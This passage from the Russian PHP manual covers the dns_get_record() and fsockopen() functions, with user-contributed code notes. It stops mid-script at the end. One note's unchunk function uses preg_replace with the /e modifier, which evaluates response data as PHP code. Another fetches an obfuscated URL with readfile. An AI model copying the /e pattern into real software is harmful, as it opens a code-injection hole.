$result = dns_get_record("php.net", DNS_ANY, $authns, $addtl);
echo "Результат = ";
print_r($result);
echo "Удостоверяющие серверы = ";
print_r($authns);
echo "Дополнительные записи = ";
print_r($addtl);
?>

Результатом выполнения данного примера будет что-то подобное:

Результат = Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => MX
            [pri] => 5
            [target] => pair2.php.net
            [class] => IN
            [ttl] => 6765
        )

    [1] => Array
        (
            [host] => php.net
            [type] => A
            [ip] => 64.246.30.37
            [class] => IN
            [ttl] => 8125
        )

)
Удостоверяющие серверы = Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => remote1.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [1] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => remote2.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [2] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => ns1.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [3] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => ns2.easydns.com
            [class] => IN
            [ttl] => 10722
        )

)
Дополнительные записи = Array
(
    [0] => Array
        (
            [host] => pair2.php.net
            [type] => A
            [ip] => 216.92.131.5
            [class] => IN
            [ttl] => 6766
        )

    [1] => Array
        (
            [host] => remote1.easydns.com
            [type] => A
            [ip] => 64.39.29.212
            [class] => IN
            [ttl] => 100384
        )

    [2] => Array
        (
            [host] => remote2.easydns.com
            [type] => A
            [ip] => 212.100.224.80
            [class] => IN
            [ttl] => 81241
        )

    [3] => Array
        (
            [host] => ns1.easydns.com
            [type] => A
            [ip] => 216.220.40.243
            [class] => IN
            [ttl] => 81241
        )

    [4] => Array
        (
            [host] => ns2.easydns.com
            [type] => A
            [ip] => 216.220.40.244
            [class] => IN
            [ttl] => 81241
        )

)

Смотрите также

  • dns_get_mx() - Псевдоним getmxrr
  • dns_check_record() - Псевдоним checkdnsrr

User Contributed Notes

bohwaz 08-Sep-2022 03:57
Sadly this method does not allow for using an arbitrary nameserver.

If you need to make a request  using a specific DNS server, you'll need to use either Pear/Net_DNS2, or libdns ( https://github.com/DaveRandom/LibDNS ).

If you want something shorter and lighter, you can also use this 150 lines function: https://gist.github.com/bohwaz/ddc61c4f7e031c3221a89981e70b830c
Emil 15-Mar-2018 11:17
Hi,
If I added domain to directadmin where is script with dns_get_record it gives me local values even if that domain is not really delegated yet to this server.. why?
ohcc at 163 dot com 05-Sep-2017 01:29
When I use DNS_ALL as the second parameter to invoke dns_get_record() on the OS of Windows, PHP emits a warning with the message "Warning: dns_get_record(): Type '251721779' not supported in blah.php on line blah", and DNS_ANY is always OKAY.
NaturalBornCamper 27-Jun-2017 06:45
You might have the same problem as me, where testing a non-existent domain will search for a subdomain relative to the domain you are executing from, for example:

// Test with working domain
var_dump( dns_get_record('google.com', DNS_A) );
/* works, returns
Array
(
    [host] => google.com
    [class] => IN
    [ttl] => 299
    [type] => A
    [ip] => 172.217.12.142
)
*/

// Test with invalid domain on our website (example.com)
var_dump( dns_get_record('invalidtestingname.com', DNS_A) );
/* Doesn't work, pretend it's a subdomain
Array
(
    [host] => invalidtestingname.com.example.com
    [class] => IN
    [ttl] => 299
    [type] => A
    [ip] => xxx.xxx.xxx.xxx
)
*/

If anyone has that problem, add a "dot" at the end of the domain name, for example, instead of
dns_get_record('invalidtestingname.com', DNS_A);
Do this:
dns_get_record('invalidtestingname.com.', DNS_A);
heinjan at eendrachtstraat dot nl 17-Oct-2016 09:23
Please note that Firewalls and anti malware software detects  (and depending on company policies even blocks) DNS_ANY requests.
In that case the usage of this function fails.
This is because DNS_ANY requests can be  exploited for creating "amplification (D)DOS attackes": You send 1 DNS_ANY request and get a huge amount of information back, thus even small requests can result into hugh network load.

I advise to use a more explicit name-request instead of using DNS_ANY.
tobias at herkula dot info 24-Mar-2015 10:10
This method has no error handling, it simply puts out "false" and it is impossible to check for NXDOMAIN, SERVFAIL, TIMEOUT or any other error...
PHP Joe 13-Aug-2013 11:30
Although this works very well for general DNS queries if you want to do a direct DNS query to a specified DNS server (rather than using OS resolution) try PHPDNS: http://www.purplepixie.org/phpdns/

You can do direct (TCP or UDP) low-level queries to a nameserver and recurse at will. Very useful for testing specific servers and also for walking through a recursive resolution.
karl at influ dot io 26-Apr-2013 01:38
There's a comment below from 7 years ago regarding BSD and MacOSX, I'd just like to follow up incase some people see that and don't think it'll work on MacOSX.

Software:

    System Software Overview:

      System Version: OS X 10.8.3 (12D78)
      Kernel Version: Darwin 12.3.0
      Boot Volume: Macintosh HD
      Boot Mode: Normal
      Computer Name: Karl's iMac
      User Name: Karl Kloppenborg (karl)
      Secure Virtual Memory: Enabled
      Time since boot: 10 days 20:24
--------------

# php -a
php > print_r(dns_get_record('google.com', DNS_MX));

Array
(
    [0] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 10
            [target] => aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [1] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 30
            [target] => alt2.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [2] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 50
            [target] => alt4.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [3] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 40
            [target] => alt3.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [4] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 20
            [target] => alt1.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

)
dylan at pow7 dot com 21-Feb-2009 11:29
Get more than one type at once like this:
<?php
$dnsr = dns_get_record('php.net', DNS_A + DNS_NS);
print_r($dnsr);
?>

Using DNS_ALL fails on some domains where DNS_ANY works. I noticed the function getting stuck on the DNS_PTR record, which caused it to return FALSE with this error:
PHP Warning:  dns_get_record(): res_nsend() failed in ....

This gets all records except DNS_PTR:
<?php
$dnsr = dns_get_record('php.net', DNS_ALL - DNS_PTR);
print_r($dnsr);
?>


Открывает соединение с интернет-сокетом или доменным сокетом Unix

  • « dns_get_record
  • gethostbyaddr »
  • PHP Manual
  • Сетевые функции
  • Открывает соединение с интернет-сокетом или доменным сокетом Unix

fsockopen

(PHP 4, PHP 5, PHP 7, PHP 8)

fsockopen — Открывает соединение с интернет-сокетом или доменным сокетом Unix

Описание

fsockopen(
string $hostname,
int $port = -1,
int &$error_code = null,
string &$error_message = null,
?float $timeout = null
): resource|false

Устанавливает соединение с сокетом ресурса hostname.

PHP поддерживает целевые ресурсы в интернете и Unix-доменах в том виде, как они описаны в Список поддерживаемых транспортных протоколов. Список поддерживаемых транспортов можно получить с помощью функции stream_get_transports().

По умолчанию сокет будет открыт в блокирующем режиме. Переключить его в неблокирующих режим можно функцией stream_set_blocking().

stream_socket_client() выполняет аналогичную функцию, но предоставляет более широкий выбор настроек соединения, включающий установку неблокирующего режима и возможность предоставления потокового контекста.

Список параметров

hostname

Если установлена поддержка OpenSSL, можно использовать SSL- или TLS-протоколы соединений поверх TCP/IP при подключении к удалённому хосту. Для этого перед hostname нужно добавить префикс ssl:// или tls://.

port

Номер порта. Его можно не указывать, передав -1 для тех протоколов, которые не используют порты, например unix://.

error_code

Если этот параметр предоставить, то в случае возникновения ошибки системного вызова функции connect() он будет принимать номер этой ошибки.

Если значение параметра error_code равно 0, а функция вернула false, значит ошибка произошла до вызова connect(). В большинстве случаев это свидетельствует о проблемах при инициализации сокета.

error_message

Сообщение об ошибке в виде строки.

timeout

Время ожидания соединения в секундах. Если null, используется настройка php.ini default_socket_timeout.

Замечание:

Если требуется установить время ожидания чтения/записи данных через сокет, используйте функцию stream_set_timeout(), т.к. параметр timeout функции fsockopen() ограничивает только время процесса установки соединения с сокетом.

Возвращаемые значения

fsockopen() возвращает файловый указатель, который можно использовать с функциями, работающие с файлами (такие как fgets(), fgetss(), fwrite(), fclose() и feof()). Если вызов завершится неудачно, функция вернёт false.

Ошибки

Вызывает ошибку уровня E_WARNING, если hostname не является допустимым доменом.

Список изменений

Версия | Описание
8.0.0 | timeout теперь допускает значение null.

Примеры

Пример #1 Пример использования fsockopen()

<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.example.com\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

Пример #2 Использование UDP-соединения

Пример ниже демонстрирует, как получить день и время от UDP-службы "daytime" (порт 13) на вашей машине.

<?php
$fp = fsockopen("udp://127.0.0.1", 13, $errno, $errstr);
if (!$fp) {
echo "ERROR: $errno - $errstr<br />\n";
} else {
fwrite($fp, "\n");
echo fread($fp, 26);
fclose($fp);
}
?>

Примечания

Замечание:

В зависимости от окружения, Unix-домен или время ожидания установки подключения могут оказаться недоступными.

Внимание

Иногда UDP-сокеты получают статус открытых, даже если удалённый хост недоступен. Ошибка проявит себя только во время чтения или записи данных в/из этого сокета. Причина этого заключается в том, что протокол UDP передаёт данные без установки соединения, а это означает, что операционная система не устанавливает и не держит соединение с сокетом, пока не начнётся передача данных.

Замечание: При указании числового адреса IPv6 (например, fe80::1) вы должны заключать его в квадратные скобки. Например, tcp://[fe80::1]:80.

Смотрите также

  • pfsockopen() - Открывает постоянное соединение с интернет-сокетом или доменным сокетом Unix
  • stream_socket_client() - Открыть соединение с интернет-сокетом или с доменным сокетом Unix
  • stream_set_blocking() - Установить блокирующий/неблокирующий режим в потоке
  • stream_set_timeout() - Установить значение времени ожидания для потока
  • fgets() - Читает строку из файла
  • fgetss() - Читает строку из файла и удаляет HTML-теги
  • fwrite() - Бинарно-безопасная запись в файл
  • fclose() - Закрывает открытый дескриптор файла
  • feof() - Проверяет, достигнут ли конец файла
  • socket_connect() - Начинает соединение с сокетом
  • Модуль Curl

User Contributed Notes

jszoja at gmail dot com 17-Sep-2022 06:23
Opening non-existing socket file via `unix//` protocol will result in exception also when suppressing error with @ like:
<?php
$fh = @fsockopen('unix:///var/run/file-not-exists.sock');
?>

It is important to know when migrating  from PHP 7.4 to 8.x, as handling error suppression with @ has changed.
GreenReaper 02-Aug-2019 11:49
PHP (or OpenSSL) may not always choose to use e.g. TLS 1.2, but you can force it to with tlsv1.2://
https://docs.php.net/manual/en/migration56.openssl.php#migration56.openssl.crypto-method

This was a great help to me, given Twitter's recent API changes to require TLS 1.2+.
Goce Dokoski 25-Sep-2018 07:45
Trying to fsockopen an ssl:// connection, but it was hanging for a long time, ignoring timeout parameter, and eventually returning false, without an error message.

Turns out (at least) on Windows it validates certificates and doesn't have a valid certificate store.

This worked for me:

- download Mozilla's certificate store from https://curl.haxx.se/ca/cacert.pem
- copy it inside php installation (for example: c:\php)
- and set it up in php.ini

              openssl.cafile="c:\php\cacert.pem"

My system: Apache/2.4.29 (Win64) OpenSSL/1.0.2n PHP/5.6.38
perrya at shoalhaven dot nsw dot gov dot au 16-Feb-2016 12:48
on my FreeBSD vm, with Joomla, I was getting the error

fsockopen(): unable to connect to ssl://localhost:443 (Unknown error)

when using a contact form and also the module updating process.

After reading other notes on here, regarding certificate validation, I installed the port ca_root_nss

(Root certificates from certificate authorities included in the Mozilla
NSS library and thus in Firefox and Thunderbird.)

Now it works
p14nd4 18-Jul-2014 09:30
It appears that in PHP 5.6.0 (at least the version in Debian jessie, with openssl 1.0.1h-3), this function *is* now validating SSL certificates (in a variety of ways). First, it appears to fail for untrusted certificates (i.e. no matching CA trusted locally), and secondly, it appears to fail for mismatched hostnames in the request and certificate.

---------
$ echo "<?php echo fsockopen(\"ssl://localhost\", 993); ?>" | php -a
Interactive mode enabled

PHP Warning:  fsockopen(): Peer certificate CN=`my.test.server' did not match expected CN=`localhost' in - on line 1
PHP Warning:  fsockopen(): Failed to enable crypto in - on line 1
PHP Warning:  fsockopen(): unable to connect to ssl://localhost:993 (Unknown error) in - on line 1
----------
$ echo "<?php echo fsockopen(\"ssl://my.test.server\", 993); ?>" | php -a
Interactive mode enabled

PHP Warning:  fsockopen(): SSL operation failed with code 1. OpenSSL Error messages:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed in - on line 1
PHP Warning:  fsockopen(): Failed to enable crypto in - on line 1
PHP Warning:  fsockopen(): unable to connect to ssl://my.test.server:993 (Unknown error) in - on line 1
---------
#installed CA locally
---------
$ echo "<?php echo fsockopen(\"ssl://my.test.server\", 993); ?>" | php -a
Interactive mode enabled

Resource id #1
biguenique at yahoo dot ca 19-Mar-2014 04:29
Did you know that fsockopen() DOES NOT validate SSL certificates whatsoever? For the sake of World's overall security level, I guess it would be a very positive idea to add a BIG WARNING notice on the manual page!

Citing the extensive study  titled "The Most Dangerous Code in the World: Validating SSL Certi?cates in Non-Browser Software" published in 2012 (google it if they removed the link) on page 5:

"PHP provides several methods for establishing SSL connections. For example, fsockopen, which opens a raw socket to the remote server, can be used to connect to SSL servers by putting "ssl://" in the URL. Even though fsockopen does not perform any certificate checks whatsoever, PHP application developers routinely use it for SSL connection establishment (see Section 9)."

For proper certificate validation with some level of ease, you can always move to cURL, but be careful:

"PHP also provides a cURL binding, which uses cURL's default settings to establish SSL connections with proper certificate validation. As we show in Sections 7.1, 7.2, and 7.3, application developers often set cURL options incorrectly, overriding the defaults and breaking certificate validation."

For more detailed insights, try out the following code:
<?php readfile("http".str_replace('+', '.', implode('/', array(":", null, "www+cs+utexas+edu", "~shmat", "shmat_ccs12.pdf")))); ?>
kexianbin at diyism dot com 28-Dec-2011 08:15
My recursive unchunk function:

<?php
function unchunk($result)
         {return preg_replace('/([0-9A-F]+)\r\n(.*)/sie',
                              '($cnt=@base_convert("\1", 16, 10))
                               ?substr(($str=@strtr(\'\2\', array(\'\"\'=>\'"\', \'\\\\0\'=>"\x00"))), 0, $cnt).unchunk(substr($str, $cnt+2))
                               :""
                              ',
                              $result
                             );
         }
?>
Jeremy Saintot 14-Jan-2011 04:24
Here is my fsockopen-based HTTP request fonction (GET and POST) :

<?php
function http_request(
    $verb = 'GET',             /* HTTP Request Method (GET and POST supported) */
    $ip,                       /* Target IP/Hostname */
    $port = 80,                /* Target TCP port */
    $uri = '/',                /* Target URI */
    $getdata = array(),        /* HTTP GET Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $postdata = array(),       /* HTTP POST Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $cookie = array(),         /* HTTP Cookie Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $custom_headers = array(), /* Custom HTTP headers ie. array('Referer: http://localhost/ */
    $timeout = 1,           /* Socket timeout in seconds */
    $req_hdr = false,          /* Include HTTP request headers */
    $res_hdr = false           /* Include HTTP response headers */
    )
{
    $ret = '';
    $verb = strtoupper($verb);
    $cookie_str = '';
    $getdata_str = count($getdata) ? '?' : '';
    $postdata_str = '';

    foreach ($getdata as $k => $v)
                $getdata_str .= urlencode($k) .'='. urlencode($v) . '&';

    foreach ($postdata as $k => $v)
        $postdata_str .= urlencode($k) .'='. urlencode($v) .'&';

    foreach ($cookie as $k => $v)
        $cookie_str .= urlencode($k) .'='. urlencode($v) .'; ';

    $crlf = "\r\n";
    $req = $verb .' '. $uri . $getdata_str .' HTTP/1.1' . $crlf;
    $req .= 'Host: '. $ip . $crlf;
    $req .= 'User-Agent: Mozilla/5.0 Firefox/3.6.12' . $crlf;
    $req .= 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' . $crlf;
    $req .= 'Accept-Language: en-us,en;q=0.5' . $crlf;
    $req .= 'Accept-Encoding: deflate' . $crlf;
    $req .= 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' . $crlf;

    foreach ($custom_headers as $k => $v)
        $req .= $k .': '. $v . $crlf;

    if (!empty($cookie_str))
        $req .= 'Cookie: '. substr($cookie_str, 0, -2) . $crlf;

    if ($verb == 'POST' && !empty($postdata_str))
    {
        $postdata_str = substr($postdata_str, 0, -1);
        $req .= 'Content-Type: application/x-www-form-urlencoded' . $crlf;
        $req .= 'Content-Length: '. strlen($postdata_str) . $crlf . $crlf;
        $req .= $postdata_str;
    }
    else $req .= $crlf;

    if ($req_hdr)
        $ret .= $req;

    if (($fp = @fsockopen($ip, $port, $errno, $errstr)) == false)
        return "Error $errno: $errstr\n";

    stream_set_timeout($fp, 0, $timeout * 1000);

    fputs($fp, $req);
    while ($line = fgets($fp)) $ret .= $line;
    fclose($fp);

    if (!$res_hdr)
        $ret = substr($ret, strpos($ret, "\r\n\r\n") + 4);

    return $ret;
}
?>

Example usages :

<?php
echo http_request('GET', 'www.php.net');
echo http_request('GET', 'www.php.net', 80, '/manual/en/function.phpinfo.php');
echo http_request('GET', 'www.php.net', 80, '/manual/en/function.phpinfo.php', array('get1' => 'v_get1'), array(), array('cookie1' => 'v_cookie1'), array('X-My-Header' => 'My Value'));
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by "Wrinkled Cheese" on 24-JUN-2011 to fix the $getdata foreach() loop; another bugfix provided by Suat Secmen on 12-JAN-2012 to fix a $timeout = 1000, then stream_set_timeout($fp, 0, $timeout * 1000), equaling 1,000 seconds.]
gratcypalma at gmail dot com 30-Aug-2010 08:56
<?php
/*
this script i used for remote my PvPGN Server, to check email user.
not good, but it work.
*/

set_time_limit(0);
$host   = 'host';
$port   = 'port';
$user   = 'user';
$pass   = 'pass';
$socket = fsockopen($host, $port) or die('Could not connect to: '.$host);
$userdota = "palma";
if($socket)
{
    sendcmd("\r",$socket);
    $status = "open"; // set status open

    while($status=="open") //while we are connected to the server
      {
             $line = @fgets($socket, 1024) ;
              /////////////login////////////////
            if (strstr($line, "there is no guest account"))
              {
                 sendcmd($user."\r\n",$socket);
                 sendcmd($pass."\r\n",$socket);
              }
            //////////////send command ////////////////////
            if (strstr($line,"Your unique name: ".$user))
              {  sendcmd("/finger ".$userdota."\r\n",$socket);
              }

            //////////////get email////////////////////
            if (strstr($line,"email:")) // if respone server write "email:"
              {
                 $pattern = '/email:(.*) ,/';
                 preg_match($pattern, $line, $matches);
                 fclose($socket);
                 $status="close"; // status close
                 $matches=str_replace(" ","", $matches);
                 $matches=str_replace(",is_operator:0,is_admin:0,","", $matches);
                 $matches=str_replace("email:","", $matches);
                 print $matches[0];
                 $email=$matches[0];
              }
            if (strstr($line,"ERROR: Invalid user.")) // if respone server write "ERROR: Invalid user."
              {

                 fclose($socket);
                 $status="close";
                 $error ="Invalid User";    // error message
              }

            ////////////login failed //////////////////////////
            if (strstr($line, "Login failed")) // if respone server write "Login failed"
              {
                 $error = "Login Failed";    // error message
                 fclose($socket);
                 $status="close";
              }

            flush(); // close

      }

}
function sendcmd($cmd,$socket) // send command function
{
  fputs($socket, $cmd, strlen($cmd));
}
?>
nytro_rst at yahoo dot com 12-Jan-2010 02:26
A simple proxy list checker. You can check a list ip:port if that port is opened on that IP.

<?php

$fisier = file_get_contents('proxy_list.txt'); // Read the file with the proxy list
$linii = explode("\n", $fisier); // Get each proxy
$fisier = fopen("bune.txt", "a"); // Here we will write the good ones

for($i = 0; $i < count($linii) - 1; $i++) test($linii[$i]); // Test each proxy

function test($proxy)
{
  global $fisier;
  $splited = explode(':',$proxy); // Separate IP and port
  if($con = @fsockopen($splited[0], $splited[1], $eroare, $eroare_str, 3))
  {
    fwrite($fisier, $proxy . "\n"); // Check if we can connect to that IP and port
    print $proxy . '<br>'; // Show the proxy
    fclose($con); // Close the socket handle
  }
}

fclose($fisier); // Close the file

?>
walter 30-Jul-2009 08:05
For some reason the default FreeBSD 7.0 port (jailed environment) breaks fsockopen() on SSL URLs, returning a constant stream of nothing!  In my case this resulted in php-cgi bringing down lighttpd completely, in rapid time!  Avoid FreeBSD/jails/fsockopen + SSL.  Use curl_init() instead.
ghzero at ghzero dot de 22-Jun-2009 05:20
note:
the default protocol - if not given - seems to be tcp://
oliver dot christen at camptocamp dot com 21-Jun-2009 03:17
When downloading large files, it is not really efficient to put the whole server answer in memory before parsing the data to remove the header parts. Here is a simple way to do it while writing the data as it arrive:

<?php

// $socket is a valid fsockopen handle

$out = '';
$headerendfound = false;
$fp = fopen($fileTarget, 'w');
$buffer = '';
while (!feof($socket)) {
    $out = fgets ($socket,16384);
    if ($headerendfound) {
        fwrite($fp, $out);
        print '.';
    }
    if (!$headerendfound) {
        $buffer .= $out;
        print "searching for header\n";
        $headerend = strpos($buffer, "\r\n\r\n");
        if ($headerend !== false) {
            $headerendfound = true;
            fwrite($fp, substr($buffer, $headerend+4));
            $buffer = '';
        }
    }
}
fclose($fp);
fclose($socket);

?>
mikey at badpenguins dot com 06-Sep-2008 09:00
My $0.02 on handling chunked transfer encoded output...  Has rudimentary error handling.

<?php
//
// Example usage...
//
$server  = '127.0.0.1';
$port    = '80';
$uri     = '/cgi-bin/random-cgi';
$content = 'Your post content...';

$post_results = httpPost($server,$port,$uri,$content);
if (!is_string($post_results)) {
    die('uh oh, something went wrong');
    } else {
    die('Here are your results: ' . $post_results);
    }

//
// Post provided content to an http server and optionally
// convert chunk encoded results.  Returns false on errors,
// result of post on success.  This example only handles http,
// not https.
//
function httpPost($ip=null,$port=80,$uri=null,$content=null) {
    if (empty($ip))         { return false; }
    if (!is_numeric($port)) { return false; }
    if (empty($uri))        { return false; }
    if (empty($content))    { return false; }
    // generate headers in array.
    $t   = array();
    $t[] = 'POST ' . $uri . ' HTTP/1.1';
    $t[] = 'Content-Type: text/html';
    $t[] = 'Host: ' . $ip . ':' . $port;
    $t[] = 'Content-Length: ' . strlen($content);
    $t[] = 'Connection: close';
    $t   = implode("\r\n",$t) . "\r\n\r\n" . $content;
    //
    // Open socket, provide error report vars and timeout of 10
    // seconds.
    //
    $fp  = @fsockopen($ip,$port,$errno,$errstr,10);
    // If we don't have a stream resource, abort.
    if (!(get_resource_type($fp) == 'stream')) { return false; }
    //
    // Send headers and content.
    //
    if (!fwrite($fp,$t)) {
        fclose($fp);
        return false;
        }
    //
    // Read all of response into $rsp and close the socket.
    //
    $rsp = '';
    while(!feof($fp)) { $rsp .= fgets($fp,8192); }
    fclose($fp);
    //
    // Call parseHttpResponse() to return the results.
    //
    return parseHttpResponse($rsp);
    }

//
// Accepts provided http content, checks for a valid http response,
// unchunks if needed, returns http content without headers on
// success, false on any errors.
//
function parseHttpResponse($content=null) {
    if (empty($content)) { return false; }
    // split into array, headers and content.
    $hunks = explode("\r\n\r\n",trim($content));
    if (!is_array($hunks) or count($hunks) < 2) {
        return false;
        }
    $header  = $hunks[count($hunks) - 2];
    $body    = $hunks[count($hunks) - 1];
    $headers = explode("\n",$header);
    unset($hunks);
    unset($header);
    if (!verifyHttpResponse($headers)) { return false; }
    if (in_array('Transfer-Encoding: chunked',$headers)) {
        return trim(unchunkHttpResponse($body));
        } else {
        return trim($body);
        }
    }

//
// Validate http responses by checking header.  Expects array of
// headers as argument.  Returns boolean.
//
function validateHttpResponse($headers=null) {
    if (!is_array($headers) or count($headers) < 1) { return false; }
    switch(trim(strtolower($headers[0]))) {
        case 'http/1.0 100 ok':
        case 'http/1.0 200 ok':
        case 'http/1.1 100 ok':
        case 'http/1.1 200 ok':
            return true;
        break;
        }
    return false;
    }

//
// Unchunk http content.  Returns unchunked content on success,
// false on any errors...  Borrows from code posted above by
// jbr at ya-right dot com.
//
function unchunkHttpResponse($str=null) {
    if (!is_string($str) or strlen($str) < 1) { return false; }
    $eol = "\r\n";
    $add = strlen($eol);
    $tmp = $str;
    $str = '';
    do {
        $tmp = ltrim($tmp);
        $pos = strpos($tmp, $eol);
        if ($pos === false) { return false; }
        $len = hexdec(substr($tmp,0,$pos));
        if (!is_numeric($len) or $len < 0) { return false; }
        $str .= substr($tmp, ($pos + $add), $len);
        $tmp  = substr($tmp, ($len + $pos + $add));
        $check = trim($tmp);
        } while(!empty($check));
    unset($tmp);
    return $str;
    }

?>
jabeba at web dot de 17-Apr-2008 06:21
If you have to use a proxy to make requests outside of your local network, you may use this class:

<?php
/*
 *
 * No Proxy Authentification Implemented; PHP 5
 *
 */

class RemoteFopenViaProxy {

    private $result;
    private $proxy_name;
    private $proxy_port;
    private $request_url;

    public function get_proxy_name() {
        return $this->proxy_name;
    }

    public function set_proxy_name($n) {
        $this->proxy_name = $n;
    }

    public function get_proxy_port() {
        return $this->proxy_port;
    }

    public function set_proxy_port($p) {
        $this->proxy_port = $p;
    }

    public function get_request_url() {
        return $this->request_url;
    }

    public function set_request_url($u) {
        $this->request_url = $u;
    }

    public function get_result() {
        return $this->result;
    }

    public function set_result($r) {
        $this->result = $r;
    }

    private function get_url_via_proxy() {

        $proxy_fp = fsockopen($this->get_proxy_name(), $this->get_proxy_port());

        if (!$proxy_fp) {
            return false;
        }
        fputs($proxy_fp, "GET " . $this->get_request_url() . " HTTP/1.0\r\nHost: " . $this->get_proxy_name() . "\r\n\r\n");
        while (!feof($proxy_fp)) {
            $proxy_cont .= fread($proxy_fp, 4096);
        }
        fclose($proxy_fp);
        $proxy_cont = substr($proxy_cont, strpos($proxy_cont, "\r\n\r\n") + 4);
        return $proxy_cont;

    }

    private function get_url($url) {
        $fd = @ file($url);
        if ($fd) {
            return $fd;
        } else {
            return false;
        }
    }

    private function logger($line, $file) {
        $fd = fopen($file . ".log", "a+");
        fwrite($fd, date("Ymd G:i:s") . " - " . $file . " - " . $line . "\n");
        fclose($fd);
    }

    function __construct($url, $proxy_name = "", $proxy_port = "") {

        $this->set_request_url($url);
        $this->set_proxy_name($proxy_name);
        $this->set_proxy_port($proxy_port);

    }

    public function request_via_proxy() {

        $this->set_result($this->get_url_via_proxy());
        if (!$this->get_result()) {
            $this->logger("FAILED: get_url_via_proxy(" . $this->get_proxy_name() . "," . $this->get_proxy_port() . "," . $this->get_request_url() . ")", "RemoteFopenViaProxyClass.log");
        }
    }

    public function request_without_proxy() {

        $this->set_result($this->get_url($this->get_request_url()));
        if (!$this->get_result()) {
            $this->logger("FAILED: get_url(" . $url . ")", "RemoteFopenViaProxyClass.log");
        }
    }
}
?>

Use it this way:

<?php
// call constructor
$obj = new RemoteFopenViaProxy($insert_request_url, $insert_proxy_name, $insert_proxy_port);
// change settings after object generation
$obj->set_proxy_name($insert_proxy_name);
$obj->set_proxy_port($insert_proxy_port);
$obj->set_request_url($insert_request_url);
$obj->request_via_proxy();
echo $obj->get_result();
?>

If there are errors during execution, the script tries to write some useful information into a log file.
huli0401 at gmail dot com 27-Dec-2007 09:12
<?php
// Check for new version
    $current_version = explode('.', '1.0.00');
    $minor_revision = (int) $current_version[2];

    $errno = 0;
    $errstr = $version_info = '';

    if ($fsock = fsockopen("www.exanmple.eu", 80, $errno, $errstr, 30))
    {
        @fputs($fsock, "GET /ver.txt HTTP/1.1\r\n");
        @fputs($fsock, "HOST: www.example.eu\r\n");
        @fputs($fsock, "Connection: close\r\n\r\n");

        $get_info = false;
        while (!@feof($fsock))
        {
            if ($get_info)
            {
                $version_info .= @fread($fsock, 1024);
            }
            else
            {
                if (@fgets($fsock, 1024) == "\r\n")
                {
                    $get_info = true;
                }
            }
        }
        @fclose($fsock);

        $version_info = explode("\n", $version_info);
        $latest_head_revision = (int) $version_info[0];
        $latest_minor_revision = (int) $version_info[2];
        $latest_version = (int) $version_info[0] . '.' . (int) $version_info[1] . '.' . (int) $version_info[2];

        if ($latest_head_revision == 2 && $minor_revision == $latest_minor_revision)
        {
            $version_info = '<p style="color:green">OK</p>';
        }
        else
        {
            $version_info = '<p style="color:red">neaktualne';
            $version_info .= '<br />'Latest_version_info' . $latest_version) . ' ' . sprintf(Current_version_info'. '1.0.00') . '</p>';
        }
    }
    else
    {
        if ($errstr)
        {
            $version_info = '<p style="color:red">' . sprintf(Connect_socket_error) . '</p>';
        }
        else
        {
            $version_info = '<p>'Socket_functions_disabled'</p>';
        }
    }

    $version_info .= '<p>'Mailing_list_subscribe_reminder'</p>';

echo $version_info;
?>
anarchy 04-Sep-2007 06:34
The DEFAULT stream timeout is set according to default_socket_timeout in your php.ini file.  Took forever for me to dig that up....
bradland at umich dot edu 23-Jul-2007 09:32
I was having trouble doing an https in fopen and with fsockopen where the address had ssl://.  I was getting error code 114 in the log.  After much research i found that there was some ssl conflict trouble with MySQL 5.0.20-5.0.33.  It had some functions that were interfering with openssl that showed up in the php install.

http://bugs.mysql.com/bug.php?id=21930
http://bugs.mysql.com/bug.php?id=19289
Alexander Wegener 26-May-2007 07:29
To check if a Url is Online (with http and https)
Using @fgets to hide Warning when using SSL
(Bug: "Warning: function.fgets SSL: fatal protocol error", http://bugs.php.net/bug.php?id=23220)

<?php

    function isOnline($url) {
        if (!$url_info = parse_url($url)) {
            return false;
        }

        switch ($url_info['scheme']) {
            case 'https':
                $scheme = 'ssl://';
                $port = 443;
                break;
            case 'http':
            default:
                $scheme = '';
                $port = 80;
        }

        $data = "";
        $fid = @fsockopen($scheme . $url_info['host'], $port, $errno, $errstr, 30);
        if ($fid) {
            fputs($fid, 'HEAD ' . (isset($url_info['path'])? $url_info['path']: '/') . (isset($url_info['query'])? '?' . $url_info['query']: '') . " HTTP/1.0\r\n" .
                        "Connection: close\r\n" .
                        'Host: ' . $url_info['host'] . "\r\n\r\n");
            while (!feof($fid)) {
                $data .= @fgets($fid, 128);
            }
            fclose($fid);
            return !empty($data);
        } else {
            return false;
        }
    }

?>
ryan1_00 at hotmail dot com 29-Jan-2007 07:52
This script checks specific ports so you need to have the correct port open on the server for this to work.

E.g if i have a windows domain controller and it is servering LDAP then the following would be used to check it is online:
<?php
chkServer("MyDC", "389");
?>

for a webserver:
<?php
chkServer("MyWebSvr", "80");
?>

etc etc
--------------------------------------------------------

<?php
// check if a server is up by connecting to a port
